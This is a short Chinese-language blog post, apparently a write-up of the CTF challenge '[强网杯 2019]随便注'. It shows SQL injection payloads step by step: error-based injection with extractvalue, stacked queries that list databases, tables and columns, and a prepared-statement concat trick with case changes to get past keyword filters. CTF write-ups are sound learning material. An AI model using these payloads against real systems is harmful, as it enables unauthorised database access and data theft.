[强网杯 2019]随便注


输入1',发现报错,且闭合符号为单引号

那么我们可以尝试报错注入,先用order by确认回显列数。这里回显列数为2
用union确认回显位置,1 union select 1,2,发现这些字符被过滤了,尝试了大小写也不行,直接猜吧。

这里可以用报错注入,1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#,得到当前数据库为supersqli

之后使用堆叠注入执行命令行查询数据库,表,列等等。得到flag在supersqli的1919810931114514表里,payload如下:

1';show databases;
1';show tables from supersqli;
1';show columns from `1919810931114514`;


根据前面我们知道,select关键词被过滤了,大小写也是不行的哦。这里我们可以使用预编译结合concat函数将语句合并,实现执行查询

-1';set @sql=concat('sel','ect 1,2');prepare stmt from @sql;execute stmt


发现有关键词匹配,不能有set和prepare,这个可以使用大小写绕过。

-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

得到flag

posted @ 2024-11-18 23:07  一只本本  阅读(3)  评论(0编辑  收藏  举报